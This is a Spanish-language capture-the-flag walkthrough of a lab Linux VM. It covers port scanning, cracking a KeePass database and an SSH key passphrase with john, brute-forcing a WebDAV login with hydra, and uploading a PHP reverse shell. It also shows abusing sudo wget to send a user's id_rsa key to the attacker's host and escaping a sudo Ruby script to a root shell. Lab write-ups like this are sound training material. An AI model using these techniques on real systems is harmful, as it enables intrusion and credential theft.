Lanzamos un escaneo ARP dentro de la red para identificar su dirección IP. En este caso al ser una máquina Linux virtualizada en VMware se ve claro por el OUI de la MAC que tiene la dirección IP 192.168.1.41 asignada.
Escaneamos los puertos de la máquina víctima y encontramos que tanto el puerto 22 (SSH) como el 80 (HTTP) están abiertos.
❯ nmap -p- -Pn -vvv -n -T5 192.168.1.41
Scanning 192.168.1.41 [65535 ports]
Discovered open port 80/tcp on 192.168.1.41
Discovered open port 22/tcp on 192.168.1.41
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
Nmap done: 1 IP address (1 host up) scanned in 3.60 seconds
Enumeramos los servicios de los puertos abiertos en busca de versiones e información adicional.
❯ nmap -p22,80 -sCV 192.168.1.41
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 9a:0c:75:5a:bb:bb:06:a2:9a:7d:be:91:ca:45:45:e4 (RSA)
| 256 07:7d:e7:0f:0b:5e:5a:90:e9:33:72:68:49:3b:f5:8c (ECDSA)
|_ 256 6c:15:32:a7:42:e7:9f:da:63:66:7d:3a:be:fb:bf:14 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 00:0C:29:64:DD:81 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 6.74 seconds
Ahora con la herramienta whatweb realizaremos una enumeración de las tecnologías web. No se encuentra nada interesante.
Empezaremos realizando una búsqueda de directorios y archivos potencialmente sospechosos en busca de alguna fuga de información. Encontramos dos directorios llamados webdav y secrets más un fichero de texto plano llamado notes.txt.
Accedemos al directorio web webdav y nos encontramos con una autenticación HTTP básica. Al no tener unas credenciales válidas poco podemos hacer.
Revisamos el contenido del archivo notes.txt. Por el mensaje, es probable que exista algún tipo de base de datos que guarde credenciales en el directorio secrets.
❯ curl -s http://192.168.1.41/notes.txt
Hi teo,
the database with your credentials to access the resource are in the secret directory
(Don't forget to change X to your employee number)
regards
IT department
Realizaremos una búsqueda de archivos con extensiones SQL o KDBX dentro del directorio secrets. Estas extensiones suelen ser las mas comunes en cuanto a bases de datos. Encontramos un archivo con extensión KeePass.
En este punto nos encontramos que no tenemos la contraseña maestra para poder abrir la base de datos KeePass por lo que no podremos acceder.
Existe una utilizad llamada keepass2john que viene junto a la herramienta john, donde es posible sacar el hash de la contraseña maestra de una base de datos kdbx y volcarlo en un archivo de texto plano.
❯ keepass2john db.kdbx > kpdb.txt
Con john ya podemos probar de romper el hash mediante el diccionario rockyou.txt (no se publica la contraseña encontrada).
❯ john --wordlist=/usr/share/wordlists/rockyou.txt kpdb.txt
d***** (db)
Session completed.
Con el cliente KeePassXC se procede a abrir la base de datos kdbx encontrada. El cliente se instala con el siguiente comando.
❯ sudo apt install keepassxc
Introducimos la contraseña encontrada para acceder.
Encontramos las credenciales del usuario admin que según el mensaje del archivo notes.txt son las credenciales para acceder al recurso webdav.
El mensaje del archivo notes.txt también incluía lo siguiente.
(Don't forget to change X to your employee number)
Esto hace entender que hay que sustituir las X por números. Crearemos un diccionario que incluya en un archivo todos los números de 000 a 999. Para ello creamos un script en python que nos automatice esta acción y vaya volcando todo en un archivo llamado diccionario.txt.
# Creación del diccionario
diccionario = {}
# Bucle para generar los números del 000 al 999
for i in range(1000):
# Formatear el número a un string de tres dígitos
numero = '{:03d}'.format(i)
# Concatenar el número con la palabra 'w3bd4v'
clave = 'w3bd4v' + numero
# Agregar la clave al diccionario
diccionario[clave] = None
# Nombre del archivo
nombre_archivo = "diccionario.txt"
# Abrir el archivo en modo de escritura
with open(nombre_archivo, "w") as archivo:
# Iterar sobre las claves del diccionario y escribirlas en el archivo
for clave in diccionario.keys():
archivo.write(clave + "\n")
print(f"El diccionario se ha guardado en el archivo '{nombre_archivo}'.")
Ejecutamos el script y tenemos el diccionario de 1000 lineas donde se incluyen todos los números del 000 al 999.
Con el diccionario hecho, procederemos a realizar fuerza bruta contra el directorio webdav. Para ello utilizaremos hydra (no se publica la contraseña encontrada).
Accedemos al recurso web y realizamos el login con las credenciales.
Teniendo acceso al directorio, probamos de subir un archivo de prueba y saber si sería posible subir una reverse shell para entablar una conexión.
Creamos el archivo prueba.txt y con la herramienta curl podemos hacer uso de la opción -T para hacer la subida del archivo. Añadimos las credenciales mediante el parámetro -u ya que el recurso esta protegido por autenticación HTTP básica. El recurso ha sido creado, buena señal.
❯ curl -u admin:w3bd4vXXX -T prueba.txt --digest http://192.168.1.41/webdav/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>201 Created</title>
</head><body>
<h1>Created</h1>
<p>Resource /webdav/prueba.txt has been created.</p>
<hr />
<address>Apache/2.4.38 (Debian) Server at 192.168.1.41 Port 80</address>
</body></html>
Procedemos a copiar una reverse shell que viene por defecto en Kali para su modificación y posterior subida. En este caso se modificará el nombre de la reverse shell a shell.php.
Modificamos los campos IP (dirección IP Kali)y port.
Abrimos el puerto 4444 con netcat.
❯ nc -nlvp 4444
Subimos al recurso webdav la reverse shell PHP modificada.
❯ curl -u admin:w3bd4vXXX -T shell.php --digest http://192.168.1.41/webdav/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>201 Created</title>
</head><body>
<h1>Created</h1>
<p>Resource /webdav/shell.php has been created.</p>
<hr />
<address>Apache/2.4.38 (Debian) Server at 192.168.1.41 Port 80</address>
</body></html>
Accedemos vía navegador al recurso webdav y abrimos al archivo shell.php para que se ejecute el fichero PHP y recibir la reverse shell.
Una vez ganado el acceso, realizamos el tratamiento de la tty.
Para conocer el tamaño de las filas y columnas, puedes ejecutar el siguiente comando en un terminal básico de tu máquina Kali.
stty size
En la primera fase de reconocimiento, parece que el usuario www-data tiene permisos para ejecutar el comando wget como el usuario teo sin necesidad de proporcionar una contraseña, interesante.
$ sudo -l
Matching Defaults entries for www-data on Serve:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on Serve:
(teo) NOPASSWD: /usr/bin/wget
En wget existen unos parámetros llamados --post-data y --post-file los cuales con el primero es posible enviar una cadena de texto y el segundo un archivo mediante una petición wget.
Abrimos el puerto 2323 de nuestra máquina para recibir los datos enviados mediante el parámetro --post-data de wget.
❯ nc -nlvp 2323
Realizamos una prueba enviando una cadena de texto a través de una petición POST con wget.
Recibimos correctamente la petición POST con la cadena de texto.
❯ nc -nlvp 2323
listening on [any] 2323 ...
connect to [192.168.1.50] from (UNKNOWN) [192.168.1.41] 47576
POST / HTTP/1.1
User-Agent: Wget/1.20.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 192.168.1.50:2323
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
estoesunaprueba
Viendo que el servicio SSH esta abierto y existe un usuario llamado teo, trataremos de obtener la clave privada id_rsa del usuario. Utilizamos el parámetro --post-file para pasar el contenido del fichero mediante una petición POST a nuestra máquina Kali.
Antes de probar una conexión con la llave privada se recomienda modificar los permisos del archivo id_rsa. Para ello ejecutar chmod 400 id_rsa para que solo pueda ser leído por el propietario y no por grupos ni otros.
Probamos la conexión pero al no tener la passphrase.
❯ ssh -i id_rsa teo@192.168.1.41
Enter passphrase for key 'id_rsa':
Con la herramienta ssh2john podemos generar un hash de la clave privada id_rsa.
❯ ssh2john id_rsa > idrsa.hash
Con john romperemos el hash y sacamos la contraseña de la clave privada del usuario teo.
❯ john idrsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
p****** (id_rsa)
Session completed.
Accedemos vía SSH.
❯ ssh -i id_rsa teo@192.168.1.41
Enter passphrase for key 'id_rsa':
Linux serve 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
teo@serve:~$
Escalada de privilegios
Listamos que tipo de ejecuciones puede lanzar el usuario teo con privilegios de sudo. Es curioso que pueda ejecutar algo llamado bro como root.
teo@serve:~$ sudo -l
Matching Defaults entries for teo on Serve:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User teo may run the following commands on Serve:
(root) NOPASSWD: /usr/local/bin/bro
Obtenemos mas información acerca de que tipo de archivo se trata. Nos encontramos ante un script programado en Ruby.
teo@serve:~$ file /usr/local/bin/bro
/usr/local/bin/bro: Ruby script, ASCII text executable
Este script en Ruby es un archivo ejecutable que se utiliza para correr una aplicación llamada bropages, la cual probablemente proporciona una interfaz para acceder a las páginas de manual (man pages) de forma más amigable o interactiva.
Ejecutamos el script sin pasarle ningún tipo de parámetro.
teo@serve:~$ sudo /usr/local/bin/bro
/var/lib/gems/2.5.0/gems/commander-4.1.5/lib/commander/user_interaction.rb:328: warning: constant ::NIL is deprecated
/var/lib/gems/2.5.0/gems/commander-4.1.5/lib/commander/user_interaction.rb:328: warning: constant ::Data is deprecated
/var/lib/gems/2.5.0/gems/commander-4.1.5/lib/commander/user_interaction.rb:328: warning: constant ::TRUE is deprecated
/var/lib/gems/2.5.0/gems/commander-4.1.5/lib/commander/user_interaction.rb:328: warning: constant ::FALSE is deprecated
/var/lib/gems/2.5.0/gems/commander-4.1.5/lib/commander/user_interaction.rb:328: warning: constant ::Fixnum is deprecated
/var/lib/gems/2.5.0/gems/commander-4.1.5/lib/commander/user_interaction.rb:328: warning: constant ::Bignum is deprecated
Bro! Specify a command first!
* For example try bro curl
* Use bro help for more info
Ejecutamos el script pasandole como parámeto la herramienta curl.
teo@serve:~$ sudo /usr/local/bin/bro curl
/var/lib/gems/2.5.0/gems/commander-4.1.5/lib/commander/user_interaction.rb:328: warning: constant ::NIL is deprecated
/var/lib/gems/2.5.0/gems/commander-4.1.5/lib/commander/user_interaction.rb:328: warning: constant ::Data is deprecated
/var/lib/gems/2.5.0/gems/commander-4.1.5/lib/commander/user_interaction.rb:328: warning: constant ::TRUE is deprecated
/var/lib/gems/2.5.0/gems/commander-4.1.5/lib/commander/user_interaction.rb:328: warning: constant ::FALSE is deprecated
/var/lib/gems/2.5.0/gems/commander-4.1.5/lib/commander/user_interaction.rb:328: warning: constant ::Fixnum is deprecated
/var/lib/gems/2.5.0/gems/commander-4.1.5/lib/commander/user_interaction.rb:328: warning: constant ::Bignum is deprecated
30 entries for curl -- submit your own example with "bro add curl"
# get the contents of a web page
curl http://bropages.org
bro thanks to upvote (133)
bro ...no to downvote (7)
........................................................................................................................................................................................
# download a file and write it to another file called myfile.html
curl -o myfile.html http://bropages.org
bro thanks 2 to upvote (66)
bro ...no 2 to downvote (0)
........................................................................................................................................................................................
# Download a file using its original filename, follow all redirects, and continue where you left off if the download previously failed
curl -LOC - http://foo.bar/file.ext
bro thanks 3 to upvote (56)
bro ...no 3 to downvote (0)
........................................................................................................................................................................................
# Get my external IP address
curl ifconfig.me/ip
# Get my remote host
curl ifconfig.me/host
# Get my user agent
curl ifconfig.me/ua
# Get port
curl ifconfig.me/port
bro thanks 4 to upvote (35)
bro ...no 4 to downvote (3)
........................................................................................................................................................................................
Nos damos cuenta que el script nos muestra una especie de shell o algo por el estilo parecido a vim.
Ejecutamos una bash dada su ruta absoluta y al ser un script ejecutado con permisos de sudo, nos dará una bash root.
!/bin/bash
root@serve:/home/teo#
Encontramos las 2 flags tanto del usuario teo como de root.
root@serve:/home/teo# ls -l
total 4
-rwx------ 1 teo teo 33 abr 19 2023 user.txt
root@serve:/home/teo# cat user.txt
28bf16070abffab749a16bd11f635474
root@serve:/home/teo# cat /root/root.txt
981f4425d4ffcb3fb2fe145463b1d476
root@serve:/home/teo#